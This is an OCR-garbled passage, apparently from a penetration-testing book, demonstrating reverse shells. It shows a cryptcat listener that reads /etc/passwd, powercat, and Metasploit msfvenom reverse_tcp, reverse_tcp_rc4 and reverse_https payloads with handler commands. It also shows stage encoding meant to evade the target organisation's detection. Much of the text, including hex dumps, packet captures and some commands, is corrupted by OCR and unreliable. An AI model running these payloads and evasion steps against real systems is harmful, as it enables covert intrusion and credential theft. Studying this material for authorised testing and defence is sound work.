MM%MWHHMMZMWMMH%HHWSM@[]mﬂﬂmd@meJWMMmmﬂwHWMMHmm
1, length 17

(0x0000: 0000 0000 A0 0000 000 0000 0600 4500 ....vvverri k.

0e010: 0045 9033 4000 4006 1013 chad 020e ca§ .£.30.0.........

0xB020:  020e 1f40 cbbe cba 62dd 48al 3% 8018 ... B, DK,

00030: 0156 8504 0000 0101 0300 0A12 Quf8 Q012 V.ovvisviiinins

0x000: Oaf8 9cf7 aalc 8cBS 474 4304 2207 aced ... "

0x0050: a2 Bb il
205 45,415899 1P 192,168,2.14, 5078 » 192.168,2.14.8000: Flags [.], ack 69, win 342, options [nop,nop, TS val 1182456 ecr 1162456], length 8

(x0000: 0000 (000 006 0000 0630 0000 D800 4500 ....vviveriis 5

0xB010: 0034 781 4000 4006 edd> chad 020e 0§ 4..6.0,,.......

Oxo020: 020e choe 1740 4801 3694 3ba 62ee 8010 ...n.BH.7...D...

0xB030: 0156 8593 0000 6101 6800 0M12 Baf8 0012 V..vvvvviivns

0xiD: Ooff
nwmmwmmumwmmmmwsmﬂ]mwammmmmmmwmﬂmmmem
1, length 16

(x0000: 0000 (000 006 000D 063D 0000 D800 4500 ......iverri E;

O0010: 0044 9034 4000 4006 1013 chad 020e o8 0.46.0,,.......

0x0020: 020 1f40 cbbe c3ba 62ee 48l 3f%d 8018 ...8.n..D.H.7...

0xB030: 0156 8505 0000 4101 0300 0012 Bdec 0012 V.vvvvvvivvans

Oxo040:  Oaf8 dl0c Acfb 5260 2ee? 3200 3c32 4689 ......R...2. <0,
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Let's execute the cat /etc/passwa command to retrieve the passwa file in Linux:
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Harry — harry@Fuzzer0S; »/unik — ssh harry@192.168.2.14 — 14336

~— mefeonsole ~ —harry@Fuzzer05: «unix — ssh harry@192.168.214 | . hamy@Fuzzer0S; »[unix— ssh harry@192.168.2.14 . A@Fuzzer0S; fhomegharry —
horry@Fuzzer0S: - 0§ erypteat -lvp 8000 -K "harry123"
Listening on [any] 8000 ...
192.168.2.14: inverse host lookup failed: Unknown host
connect to [192.168.2.14] from (UNKNOKN) [192.168.2.14] 52078
id
Uid=1000Charry) gid=1000(harry) groups=1080harry),4(adm), 24 cdrom), 27(sudo), 3(dip}, 46(plugdev), 113(Ipadnin), 128(sambashare)

unane g

Linux FuzzerdS 4.4.0-128-generic #154-Ubuntu SHP Fri May 25 14:14:58 UTC 2018 1686 1686 1686 GNU/Linux
lcat /etc/passud

root: x:0:0:root:/root:/bin/bash

daemon:x:1:1: doemon: /usr/sbin: /usr/sbin/nologin

bin:x:2:2:bin:/bin: /usr/shin/nologin

sys:x:3:3:sys:/dev: /usr/shin/nologin

synce:4:65534:synca /bin: /bin/syne

games: x:5:60: games: /usr/ganes: /usr/shin/nologin
man::6:12:man: /var/ cache/man: /usr/sbin/nologin
[psxe7:7:1p:/var/spool/ Ipd: /usr/shin/nologin
mail:x:8:8:matl:/var/mail:/usr/shin/nologin

news: x:9:9:news: /var/spool/ news: /usr/shin/nologin

ucp:x:10:10: uucp: /var/spool/ uucp: /usr/sbin/nologin
proxysx:13:13: proxy: /bin:/usr/sbin/nologin

wan-ata: 233 33:ws-data: /var/wew: /usr/ sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/shin/nologin

List:x:38:38:Mailing List Hanager: /var/Tist: /usr/shin/nologin

trcax:39:39: ircd: /var/ run/ trcd: /usr/shin/nologin

gnats:x:41:41: Gnats Bug-Reporting System (adwin): /var/ 1ib/gnats: /usr/sbin/nologin
nobody: x:65534:65534:nobody: /nonexistent: /usr/shin/nologin

systemd-timesync:x: 108:102:systend Time Synchronization, ,,:/run/systend: /bin/false
systend-network:x:101:103:systend Network Management, ,, +/run/systend/netif:/bin/folse
systend-resolvesx:102:104:systemd Resolver,,,+/run/systend/ resolve: /bin/ false
systend-bus-proxy: x:103:105:systend Bus Proxy, ,,/run/systend: /bin/false
sys10g:x:104:108: :/home/syslog: /bin/ false
_Optix:105:65534: : /nonexistent: /bin/false
messaqebus:x: 106:110: :/var/ run/ dbus: /bin/false
Wuidd:x:107:100:/run/wutdd: /bin/ false
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Congratulations! We have just exfiltrated the 1inux passwa file using a secure
communication channel. Data exfiltration will be covered in further chapters.
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Harry — root@F uzzerCS: fhomefharmy — ssh harry@192.68.214 — 143436
«— Mefcansale «—hary@FuzzerS: «fm—sshharry@H92 68214 . hamy@Fuzzer0S: «fm—ssh hary@IOR 168204 A@FUzzerCS: omeharry — ssh hamy@1LIB2M |+
rootFuzzer(S: hone/harrys tcpdum -£X port 8000 -1 Lo |

t
il
i
L

! iy

Cpdump: verbose output suppressed, use -y or -w for full protacol decode
stening on Lo, Link-t MHMWMMWby
36:05.686996 1P 192.168,2,14,8000 > 192,168,214, 52078: Flags [P.], seq 3283772063: 3283772099, ack 1208527268, win 42, options [nop,nop, TS
val 1202523 ecr 1183207], Tength 16

(x000: 000 0000 0060 0000 0000 0000 0800 4500 .....vvuve s ?
Ox0010: 0044 9040 4000 4006 1007 cdob 020e chob .D.B.A....
Oxi02D:  020e 1740 chbe C3ha 6317 4hal 4024 & 8@nc$
QMWMWMMMHWMV .......... [&
O40:  Odec dood SdBL 8319 1280 bot0 4008 S14b ... Juvusi Ko, I
DO0S0: b7 il

20:50:05. 723654 1P 192.168.2.14.50078 > 192,168, 2,14,

j
t Sl
li ipe
ik 168,

WMWWW%MW
D0020:  020e chte 1740 48a1 4024 COba
WMWMMMMMWW
Dud0: 595 ﬂ
21:56:00.723062 P 192.168.2.14, 5008 > 192.168.2.14.52078: Flags [P.], seq 16:48, ack 1, win 342, options [nap,nop, T val 1202533 ecr 120053,
Length 32
O0000: 0000 0000 000 000 (000 0000 2800 4500 ....vvevires L
Ou0010: 005 OpA1 4000 4006 19f6 clob 02 %CW b T4,
Du0020: 020 1740 chbe 3ba 637 481 4024 8018 .8, ' @$
MMMMWMWWMW%W V .......... e,
O040: 5965 8e11 (700 bedb 1683 4bef 4942 95
mwmmmemm
Dude0: 1%
M%MMM%WMW%MM..

D40: 5985 W
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For Windows users: if you are unable to run ncat.exe, nc.exe OI cryprcar On Windows, you can always try
powercat. However, this does not support encryption.
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Reverse shell using powercat

powercat 18 @ Utility tool that is just like netcat but written in PowerShell with some extra
features, including the ability to send data over TCP, UDP, and DNS, connection relays,
and payload generation.

powercat CAn be downloaded from https://github.com/besimorhino/powercat.

To make a start with powercat, we need to import the powercat.ps1 module into PowerShell.
(Luckily, I have installed PowerShell on my macOS). We can only see the powercat
command after we import the module:

(X | nowercat — harry@Fuzzer0S: «/unix — powershell
xkxZonb13xKx: powercat Harry$ posershell

Ponershel |

Copyright (C) 2016 icrosoft Corporation, ALl rights reserved,

PS /Users/Harry/ powercat> . ./ powercat. psl

PS /Users/Harry/posercat pone

posercat.psl  powercat posermetrics  powershell — power_report,sh
PS: /Users/Harry/ powercat> powercat

Let's execute the following command in order to bring up the help screen:

| powercat -h
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powercat — harry@Fuzzer0S: /unix — powershell - 143x37
P [UsersHarry/ ponercat pose
posercat.psl  powereat posemetrics  powershell — poser_report.sh
PS. /UsersHarry/ powercat posercat -f

posercat - Netcat, The Powershel] Version
(1thub Reposttory hittps: //guthub. con/bestmorhing/posercat

This script attemts to tplenent the features of netcat 1n o powershell
script. It also contoins extra features such as butlt-n relays, etecute
poserstiell, and o dnscat? client.

Usage: posercat [-c or -1] [-p port] [options]

Cdp> Client Mode, Provide the IP of the systen you wish to comect to.
IF you are using -dns, Spectfy the ONS Server to send queries to.

L] Listen Mode. Start a Listener on the port specified by -p

0 qort> Port, The port to comect to, or the port to Listen on,

£ 4roc> Execute, Spectfy the name of the process to start,

4 Execute Posershiell. Start  pseudo powershell session. You can
declare variales and execute comands, but 1F you try to enter
another shell (nslookup, netsh, and, etc.) the shell will hang,



https://technet24.ir
https://technet24.ir

From here onwards, we can use this module just like a normal neccat.

Why should you stick with a simple command reverse shell when you can do so much
more? Without the great Metasploit, a reverse shell is no fun at all! Let's use Metasploit
payloads to get reverse shells, and we will then go into more detail with this so that we
can use the payloads carefully.

Metasploit can be used to generate different reverse shell connection payloads. The
most common of these 1s the reverse tcp payload.
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reverse tcp

A Windows-based reverse tcp payload can be generated using the following command:

msfvenom -p windows/meterpreter/reverse tcp lhost=<local IP to get reverse connection on> lport=<

Py
Fin

Once the payload is generated, we need to start the listener. This can be done by
executing the following commands:

use exploit/multi/handler

set payload windows/meterpreter/reverse tcp

set lhost <local IP to get reverse connection on>
set lport <local port to listen for reverse shell connection>

set exitonsession false <This is used so that the handler doesn't exit once the reverse shell dis
run <It's better to use run -j to background this job>

nsf exploit( 10
xploit] 1 * set payload windows/meterpreter/rev

m

nst
|:|'T.1 oad =* windows/meterpreter/reverse tcp

st exploit] } & set lhost 192.168.2.6
lhost =2 192,168.2.6

mst exploit( ) = set lpork 1337

lport =» 1337

~— I

B s 1 ® set exitonsession fTalse
exitonsession == T;

msf exploit( 1 ¥ run

Started reverse TCF handler on 192.168.2.6:1337
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The listener is started on the attacker machine. Let's execute the payload on the target
server:

Technet24
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Upon execution, as we can see, the target server connects back to port 1337 using its

local port 4927s:

d “Intel(R) PRO/1000 MT Desktop Adapter: Local Area Connection

lg'.l

%E Qe92T15ERQ4H

| ko dstport == 1337

X

Our handler just got a connection request from the target server and now it continues by

]
- (190 61,4249

Timg

6192 61, 426439
6202 6l.481359
6205 61, 453029
6211 al.485246
6215 61, 456168
6219 61455301
6223 61, 486575
6227 61491435
6233 6, 495444
6239 6l.495%¢0
6243 61, 496338
6244 6149882
6255 61, 503551
6259 61.503711
6262 6, 504213
b266 6l 504290

Jource

192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2.14
192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2. 14
192.168.2, 14
192.168.2. 14
192,168.2, 14

Destination

192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.168.2.6
192.165.2.6
192.168.2.6
192.165.2.6
192.168.2.6

Protocal L
TP
TCP
TP
TCP
TP
TCP
TP
TCP
T(P
TCP
TP
TCP
T(P
TCP
TP
TCP
T(P

Length Info

66 49275 -+ 1337
G4 49275 + 1337
54 49275 - 1337
G4 49275 + 1337
54 49275 - 1337
G4 49275 + 1337
54 49275 -+ 1337
G4 49275 + 1337
54 49275 - 1337
G4 49275 + 1337
54 49275 - 1337
G4 49275 + 1337
54 49275 - 1337
G4 49275 + 1337
54 49275 -+ 1337
G4 49275 + 1337
54 49275 - 1337

[
[
[
[
[
|
[
[
[
[
[
[
[
|
[
|
[

A
Al
Al
Al
A
A
A
Al
A
A
A
A
A
A
Al
Al

)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

N

SVI] Seq=0 Hin=Bl®2 L. | |
Seqel Ack=l Hin=

Seqel Acke905 L |

Seq=l Ack=10225 .
Seqel Ack=13145 .
Seqel Ack=17525 .
Seq=l Ack=21905 .
Seqel Ack=26285 .
Seq=l Ack=30665 .
Seq=l Ack=37965 .
Seq=l Ack=45265 .
Seq=l Ack=49645 .
Seqel Ack=55485 .
Seqel Ack=62785 .
Seq=l Ack=67165 .
Seq=l Ack=70085 .
Seqel Ack=7H465 .

sending the second stage payload to the server. If everything goes well, you'll see a
Meterpreter session opened MESSage, as shown in the following screenshot:
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st exploit( ] * set exitonsession false

] ® run

Started reverse TCP handler on 192,168.2.6:1337
sending stage (1 165.2.14
Meterpreter session 4 opened (192.166.2.6:1337 -» 192,166.2,14:49275) at 2018-07-28 16:03:36 +A530

We may now be thinking, we got the reverse shell! We're 31337 (elite) hackers! We did
it! However, this is wrong. By doing this, we have just alerted the organization of our
little trick. Take a good look at the following screenshot, which shows that the second
stage delivered to the target server was an executable PE file (DLL):

00000008 43 be 02 @d i

00000004 4d Sa 5 00 00 @@ @0 S5b 52 45 55 89 &5 8l <3 &4 VMIL.... [ REL....d
000aaal4 13 @0 0@ ff d3 81 <3 95 a6 02 @0 B9 3b 53 G @4  ........ ... oy
00060024 S0 ff do 00 00 00 @0 00 00 00 00 00 @0 08 98 80 P....... veiiaeas
00000934 99 Q0 99 00 90 00 90 02 00 90 90 99 99 al 99 @@ ..., e
00000044 Qe 1f ba Oe 00 b4 09 cd 21 bE @l 4c cd 21 54 68 ........ Eivka bTh
Q0aoaas4 69 73 20 7@ T2 of 67 72 6l 6d 20 63 6l 6e 6e 6 1s progr am canno
00000054 74 20 62 65 20 72 75 Ge 20 69 Ge 2044 4f 53 20 £ be run in DOS

00000074 6d 6f 64 65 2¢ 0d @d @ 24 00 00 00 00 Q@ 00 @0 mode.... 5.......

00000854 d6 df 80 2d 92 be ee Te 92 he ee Te 92 he ee Te .-, .m0 Lm0
00000094 d4 ef @f Te b6 be ee Te dd ef 31 Te 85 bhe ee Te L e e L De e
0000803 d4 ef @e Te 16 be ee 7e 92 bhe ef Te Sa he ee Fe Lm0 eI, L0
00000084 9b <6 7d Te 83 be ee e 9b c6 6d Te 93 be ee Te . }u...m Lme. . .w
gooaaacd 9f ec 31 Fe 93 be ee 7o Of ec @e Te c he ee Te L le, e Lm0
0oa0aaDd 9f ec 32 Te 93 be ee Te 9f ec 30 Te 93 he ee Te L Du, L B, 0
QOAAAAEd 52 69 63 68 92 be = To 00 00 00 00 90 @3 @@ @@  Rich...» ........

Q0Qaaard 09 00 @2 a0 99 00 9 99 00 00 90 Q0 92 0@ @@ Q0 ... o000 ceeaaaes
Qoooaled 5@ 45 00 @0 4c @l @4 9@ cd ol €3 Sa @@ Q@ @@ @@  PE..L... .a.Z....
Q0000114 00 00 00 00 <0 00 @2 21 ob @l Oc 00 08 90 92 @8 ....... b e

When the payload (stager in our case) is executed on the target server, a second stage
request is made to the handler. The handler will blindly send the DLL (second stage) to
the target server, which can easily be detected by an organization based on a few things
that are sent over plain text:
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e The PE executable header (MZ)

e The mis program cannot be run in DOS mode Strlng

e The retsrv.an1 string and other strings that are the supported functions by metsrv

What is metsrv?

In order to understand retsrv, you first need to understand how meterpreter sessions are
obtained. The following points describe the process that takes place when opening a
valid meterpreter session:

i s

11.

12.

13.

14.

The handler listens for incoming connection on a given IP and port.

The stager (meterpreter payload) is executed on the target server.

The handler receives a new connection from the stager.

A connection is established back to the handler on the given IP and port by the
stager.

The handler generates the stage (netsrv.qa11) followed by the configuration block and
sends a 4-byte block that represents the size of stage.

. The stager reads these 4-byte sent by the handler and allocates a block of memory

with readable, writable, and executable (RWX) permission so that netsrv can be
written to the allocated block of memory.

. The handler sends the payload to the stager (this is where you see sending stage (xxx

bytes) to X.X.X.X).

. The stager then reads the stage (metsrv.qa11) coming from the handler and writes it to

the allocated block of memory.

. The stager then passes execution flow to the beginning of retsrv.a11.
. metsrv patches the DOS header by loading itself into the memory using the reflective

DLL injection.

metsrv calculates the offset to the session configuration block (this block contains
the meterpreter configuration) and patches it so that retsrv.a11 can use the socket
that was already in use by the stager to connect back to the handler.

metsrv, Which was just loaded into the memory using reflective DLL injection,
executes the a11main() function and passes the execution flow to the configuration
block so as to take control over the communication.

metsrv 18 responsible for SSL negotiation on the socket (encrypted communication).
This 1s why, even after we get a reverse tcp connection, the communication is
encrypted by default. retsrv starts SSL negotiation with the handler for encrypted
communication.

The handler waits for a valid meterpreter session to be opened. A valid

Technet24
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While sending netsrv.qa11 to the stager, the payload is not encrypted. This is why an
However, there is a way to hide the This program cannot be run in DOS mode and
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metsrv.d11 Strings so that the target organization cannot detect us. We can either use the
payload that offers encryption or we can encode the second stage with any encoder of
our liking. The latter option can be achieved by using the following commands:

set enablestageencoding true
set stageencoder x86/shikata ga nai

ageencoding true

e S W S DL

~se TCP handler on 192.168.2.6: 8080

This 1s assuming that the settings for the handler are as described in the following
screenshot:

Technet24
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explott( ) > Show options

Hodule options (exploit/multi/handler).

Name  Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):
Name  Current Setting Required Description

EXITFUNC process Exit technique (Accepted: ', seh, thread, process, none)
LHOST— 192,168.2.6 The Listen address
LPORT 8080 The 1isten port

The handler will first encode the second stage using the xs6/snikata ga nai built-in
encoder in st and send it to the target server:

st exploit(
otarted reverse TP
Encoded st g Wt
Sending encoded stag

Meterpreter segsion 40

handler on
gt 10b/shikata
: e (17980

nd
k
i
]

1
il
N
opened

As we can see in the following screenshot, the encoded second stage does not have any
of the aforementioned strings, which the target organization can detect our presence
from:
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tcp RC4!

thjs, enter reverse



https://technet24.ir
https://technet24.ir
https://technet24.ir

reverse tcp rc4

This Metasploit payload is a reverse meterpreter payload that has the same functionality
as reverse_tcp With only one difference: the stage in this payload is encrypted with RC4
encryption before sending it to the target server. We can use the following commands to
generate a reverse tcp payload with RC4 encryption support:

|use payload windows/meterpreter/reverse tcp rc4 set lhost <local IP to get reverse connection on:

i =

BabaBabaBlacks:
-f EﬁuTLpEL4_

=
=
o

In this scenario, we used savaavapiacksneep as the RC4 password. Note that only the

second stage will be encrypted using RC4 encryption and not the stager. The stager for
reverse tcp rcé 1s similar to reverse tcp.
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msf payload ) > show options

odule options (payload/windows/meterpreter/reverse tep rcd).

Name Current Setting — Required Description
Eyit technd 10U€ (Acceptec : |l-"| ’Hl—'-jll Drocess, [|||[|l-'|
The 11sten address
The Tisten port
Passiord to derive RCA key from

) > generate -t exe -f revicpRL4 8080.exe

) > 18 revIcpRLA 8080 exe

The handler should also have the same rc: password so that the handler can encrypt the
second stage with RC4 encryption. The commands for setting up the handler are as
follows:

use exploit/multi/handler

set lhost <local IP to get reverse connection on>

set lport <local port to listen for reverse shell connection>
set payload windows/meterpreter/reverse tcp rc4

set rcé4password <password>

set exitonsession false

run -j

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

msf payload )

nsf payload( ) > use explott/multi/handler
nsf exploit( ) » set lhost 192.168.2.6

lhost =» 192.168.2.6

msf exploit( ) > set lport 8680

Lport => 8080

msf P“plu t ) > set payload windows/meterpreter/reverse tcp rcé
ayload => windows/meterpreter/reverse tcp rcd

1;1 explu £ ) » set rcdpassword BabaBabaBlackSheep

rcdpassword =» BabaBabablacksheep

1Ef ﬂ“plﬂ'Tf ) » et exitonsession false
x1tonsession =» false

1;1 exploit( by orun -]
Exploit running as hili eround Job 0,

Started reverse TCP handler on 192,168
M ey []h_,l TI | y

As we can see in the following screenshot, the handler is up and running and waiting for
the stage request from the stager. When the stager is executed, we can see the
meterpreter session popping up:
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s exploit ) ¥ sesgions -|

Active sessions

[nformation Connection

The encrypted second stage looks like this:

Technet24
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But what if the RC4 password 1s wrong? What will happen to the stager executed on the
target system?

To find the answers to these questions, let's set up a handler with an incorrect RC4
password. In this case, we used rhistsanrongrasswora as a password for RC4 encryption:
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msf exploit(

ﬂ . .1'qd windows/n |HTH[p[HTH[ [eyaree TIP rcd
1'%@ = M ndows/n |HTH[P[HTH[ reverse tcp_ rcd
1;1 Eﬁplu ( ) » set Thost 192.168.2.6
lhost = 197 164 .6
msf exploit( ) » get lport 8060
lport = 8080
mef exploit( ) » set rcdpassword ThisIsAWrongPassword
l|4pjaawnrd =y This ILernn FibbWuld
mst exploit( > TUn -]
Explolt running as hilF eround Job 1,

started reverse TCP handler on 192,168, 2.6, 8080
mef exploit( ) ¥ I

When the stager is executed, the RC4 encrypted second stage is sent to the target server,
and this shows that a meterpreter popped up on the handler. However, this session will
not work because the stager failed to decrypt the second stage in the memory:

Let's execute the following command to look for the session information:

Isessions -1

Technet24
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b gessions -1

[ Name Type Information Connection

neterpreter xb/windous 192.168.2.6:8060 -> [92.168.2.34: 56104 (192,

There's something weird about this result; there's no information retrieved from the
target server. Let's try to interact with the session using the following command:

Isessions -i3

exploit( ) >
starting interaction wiTt

getuid
Unknown command: getuid,
meterpreter £=

Unknown Lummdﬂd' getuid.
meterpreter =

Unknown command: g
meterpreter > sysinfo

Unknown command:
meterpreter > |

When we tried to execute the getuig, getpia, and sysinfo meterpreter commands, we got an
€rror message saying unknown command. 1his 1S because the stager could not decrypt
metsrv.d11 1In-memory. With the failed decryption, it could not perform reflective DLL
injection to load itself in-memory. As a result, the session died after few seconds:
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meterpreter » sysinfo
Unknown command: sysinfo.

meferprefer :

~ gsession 3 closed. Reason Died

If decryption fails, the stager executed on the target server will drain the resources (CPU and memory).
SO be extra Careﬁll When uSing reverse_tcp_rc4.

Applications | Processes | Services Performance Networking | Users

CPU Usage CPU Usage Histary

Physical Memary Usage History

Instead of using a TCP based stager, metasploit also gives us the option to use a stage
with SSL Support. Enter reverse_https!

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir



https://technet24.ir
https://technet24.ir

reverse https

The reverse tcp payload in Metasploit is a very powerful and basic payload but has its
own drawbacks. One of the drawbacks is its non-encrypted nature for the second stage.
However, Metasploit does have another payload with SSL support: reverse nttps!

The reverse nttps payload can be generated using the following command:

msfvenom -p windows/meterpreter/reverse https lhost=192.168.2.6 lport=8443 -f exe -o SharedPaylo:

xkxZomb13xKx:~ Harry§ mstvenom -p windows/meterpreter/ reverse_https lhost=192.16
8.2.6 [port=B443 -t exe -0 SharedPayloads/ revittps443. exe

No platform was selected, choosing Msf::Nodule::Platform::Windows from the paylo
(d

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload stze: 438 bytes

Final size of exe file: 73802 bytes

Saved as: SharedPayloads/ reviittps8443, exe

xkxZonbi3xkx:~ Harry$

Let's set up the handler for reverse nttps as well, using the following commands:

Set payload windows/meterpreter/reverse https
Set lhost 192.168.2.6

Set lport 8443

Set exitfunc thread

Set exitonsession false

run
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(NN | Harry — msfconsole — 143x38
M =

msf = use exploit/multi/handler

msf exploit( ) = set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https

msf exploit( ) = set lhost 192.168.2.6

[host = 192,168.2.6

msf exploit( ) > set Iport 843

lport = 8443

msf exploit( ) = set exitfunc thread

exitfunc = thread

msf exploit( ) = set exitonsession false

exitonsession = false

msf exploit( ) = run

Started HTTPS reverse handler on https://192.168.2.6:8443

Our handler 1s up and running now. Let's execute the payload on the server and see the
network packets flowing from the target server to our handler:
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..+

‘ tep.port = 8443| t’ﬂ

o, Time e Destination Protocel  Length Info g
- 692 2941140 192.168.2.30 192, 166.2.6 T(P 66 56239 = 6443 [SVN) Seq=0 Hin8192 Len=0 ¥S5=1460 1S
| 6953 29644434 192.168.2.6 192,168.2.30 T(P 66 8443 = 58139 [SVI, ACK] Seqe=@ Ack=1 Uin=63535 Len=.
694 29, 444450 192, 165.2.30 192, 166.2.6 T(P 54 56239 - 6443 [ACK) Seq=l Ack=] Hin=65700 Len=0
6955 296446166  192.168.2.6 192,166.2.30 T(P 60 [TCP Hindon Update) 8443 + 58139 [ACK] Seq=l Ackel .
696 296,47000  192,166.2.30 192,166.2.6 1(P 153 56239 = §443 [PSH, ACK] Seqel Ack=1 Hin=E5700 Len=99
6957 296,448532  192.168.2.6 192,166.2.30 T(P 60 8443 = 58139 [ACK] Seq=1 Ack=10d Hin=262016 Len=0
6% 29645204 192,166.2.6 192,168,230 MO0 11305443 - 56139 [PSH, ACK] Seqel Ack=140 Hin=262144 Le.
6959 296453047 192,165.2.30 192,166.2.6 TP 380 58130 4 BM3 [PSH, ACK] Seqe10 Ack=1477 Uin=G4524 .
690 296.455214 192, 168.2.6 192,165,230 T(P 60 843 -+ 56239 [ACK) Seq=Ld77 Ack=426 Hin=26179 Len=d
6%l 296.462233  192.168.2.6 192,166.2.30 T(P 113 843 + 58239 [PSH, ACK] Seq=1077 Ack=426 Win=262144.
6973 296.615253 192, 166.2.6 9. 155.2.30 ( 113 [TCP Retransnission] 8443 = 58239 [PSH, ACK] Seq=Ld
6974 296.615272  192.166.2.30 192,168.2.6 T(P 66 58239 + B3 [ACK] Seq=426 Ack=1136 Uin=G4564 Len=
6010 308.511853 192, 168.2.30 192,166.2.6 1(P 151 56239 = B443 [PSH, ACK] Seqe426 Ack=1136 Hin=G564 .
g0l1 306.513972  192.168.2.6 192,166.2.30 T(P 60 443 -+ 58230 [ACK) Seq=1136 Ack=623 Hin=261920 Len=d
§017 309, 330467 192.168.2.6 192, 168,230 T 1504 5443 - 56139 [AK] Seq=L136 Ack=623 Uin=262144 Len=.
8015 309,330468  192.168.2.6 192,168.2.30 T(P 1514 543 - 58139 [ACK] Seq=2996 Ack=623 Hin=262144 Len=.
§019 309,330519 19, 168.2.30 192,166.2.6 T(P 54 56239 - G443 [ACK] SeqeB23 Ack=3056 Hin=65700 Len=0
8020 309,332206  192.168.2.6 192,166.2.30 T(P 1514 543 - 58139 [ACK] Seq=d056 Ack=623 Hin=262144 Len=.
8021 309,332207  192.168.2.6 192,165,230 T 1504 543 - 56139 [AK] Seq=5516 Ack=623 Min=D62144 Len=.
=
=
=
=
=

§022 309332208 192.166.2.6 192,164,230 T 1504 8443 - 58139 [ACK] Seq=6976 Ack=623 Uin=D62144 Len=.
§023 309.33208  192.166.2.6 192,166,234 T 1504 5443 - 56139 [AK] Seq=B436 Ack=623 Uin=D62L44 Len=.
§024 309330217 192.166.2.30 192.168.2.6 (P 54 58230 - B443 [ACK] Seq=623 Ack=0396 Hin=65700 Len=0
6025 309.33426  192.166.2.6 192,166,230 TP 1504 8843 - 56239 [ACK] Seq=9896 Ack=623 Uin=261144 Len=.
§026 309332427 192.1668.2.6 192, 164.2.30 T 1504 5443 - 58139 [ACK] Seq=L1356 Ack=623 Hin=262144 Len.

Upon successful execution of the payload, the meterpreter session is opened on the
handler with the unique UUID for the session:
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15t enplott )5 100

Stirt ed ﬂ erm‘splm Oler on hitpss/192.168.2.6: 48
ittps://192.168.2.6:543 hundlng I‘PqUPSf 192,168,230, (UD: cjaxmdgn) Stagung 486 payload (160825 s} ...
I Pl‘pl‘ ter session 1 opened (192, 168.2,6:0443 -» 197, 168.2.30:56239) ot 2008-08-19 17:10:35 459

Now we have a secure connection and no one can detect our presence inside the
organization, right? Wrong! Let's take a look at what the problem could be with
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108 MREQe9ET15E444E

| gt =3 M | Eesin. 4
b Tog S Deiin okl Length I )
- L6 0 15%7% 19166030 192.166.2.6 1P 66 5883+ 43 [V S0 Win-BL00 Len=D) S5 LAGH HSeb S PERY:]
1637 12.163121 ~ 192.166.2.6 192,16.2.30 107 66 443 SESO8 [N, ACK) Ser=D Acke] WinefOST5 Lene Y55 L4gh 30 SAlK PER'|

1636 12, 163154 192.166.2.30 192.166.2.6 1(P 54 SH5C3 - G043 A0 Sete] hckeL Han=G5700 Lenl

1639 12,6501 192.166.2.6 19,16.2.30 107 b@[ TOP Hindon Updete] 8443 - SESSR [ACK] Sene] Acke] WineDEL14h Lenel

1640 12,6635 192.166.2.30 192.166.2.6 T(P 3 - Q3 [PSH, ACH] St mckel Hin=E5700 Len=20
TG URCAY 192.166.2.30 1P G0 443 - SE5C3 [ACK) SeteL AckeL00 in=262006 Lenet
| 1649 1116909 192.166.2.¢6 192.166.2.30 T(P 43 - SESOR [PSH, ACK] Secel k100 HineL6LL44 Lene1075

166 1016977 192.166.0.30 192, 166.2.6 TP B503 -+ G443 [PSH, ACK] Sen=100 Ak 1077 Hin=5464 Lene3

1646 12, 171684 192.168.2.6 192.166.2.30 TP 3+ 5590 [ACK) Seq=L07 Ack=b06 in=LEL79) Len=0

1647 11400 192.166.2.¢6 192,166.2.30 TP 3= 56508 P, ACK] SenclT7 hekeAle Hin=J6LLA4 LeneSd

1659 12,3767 192.166.2.30 192,166.2.6 107 54 SE593 -+ G443 A Seqz426 AckeL136 ineGaSEd Lene]

1664 12536070 192.166.2.6 192,165,236 TP L3 [TOP Spurious Retransnissian] 43 = SEB03 (PSR, ACK] SegeL077 ackeblf HineL6214 Lene59

1665 12.536190  192.168.0. X 192,166.2.6 I 66 [10P Dup ACH 1%L ] 50593 = 43 [MK] Seqe426 AckeL 136 WineGu564 Lonel SLE=LATT SREcLL36
CARMMST 100603 190,168.2.6 TP D5LSH5C3 - B3 [PSH, ACK] Se=416 k1136 Hin-B4564 Lenel %7

WA 05789 19.166.0.6 192,16.2.30 107 G0 443 - SERC3[A0K) Sea=L136 Ackefl Mine=261900 Len=d

07T W57 190.166.0.¢6 192.166.2.30 TP 1514 G443 = SE593 [ACKT SegeLL36 hckeBL3 MineLELL4 LenL4cd

WTe 45767 19.166.0.6 192.16.2.30 TP 1514 B3 - SESO3 [ACH] SeqeL506 hckedl HineDEL1h Lene 1460

A5 192,168,030 192.166.2.6 TP 54 SH5C3 - BAAT ] Seqe6l3 Ackedd ine(5700 Lened

50 W57 19.166.2.6 192,166.2.30 TP 1504 B3 = SESOR [ACK] SeqeddB hcketl3 HineDGL144 Lene 1460

Bl W57l 192.166.2.¢6 192.166.2.30 P 1514 G443 = SE593 [ACKT SeqeS5L6 hckeBL3 Min=LELLA4 LenL46d

UR WSl 19006606 19,166.2.30 TP 1504 B3 = SESOR [ACK] Seqe0076 hcketl3 HineDGl14k Lene 1460

N 577639 192,166,230 192.166.2.6 107 54 SE503 -+ G443 A0 Sete603 AckeBA3 ine(5700 Lened

N ST 19006606 192.166.2.30 TP 1504 B3 = SESOR [ACH] SeqeBA06 hcketl3 HineDGL144 Lene 1460

N W57 [90.168.0.6 192.166.2.30 TP 1514 3443 - 50593 [ACK] Seq=3005 hck=GL3 Min=D6LLA4 LenL4e0
ki 10600 192.166.2.6 TP 54 5H803 < 43 [ACK) Seqe3 mckeL 356 MineE5700 L0 \

Since reverse nttps uses SSL, we need to decode these network packets as SSL. This can
be achieved by opening the Analyze | Decode As... sub-menu, as follows:
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£ e RO D e ol e Comeion o Bl
Fle Edt View o Copue it Tephny s T e

140 AL D|sp|ayF||ters.u 4]
Dl e s, i ' byesin, 4
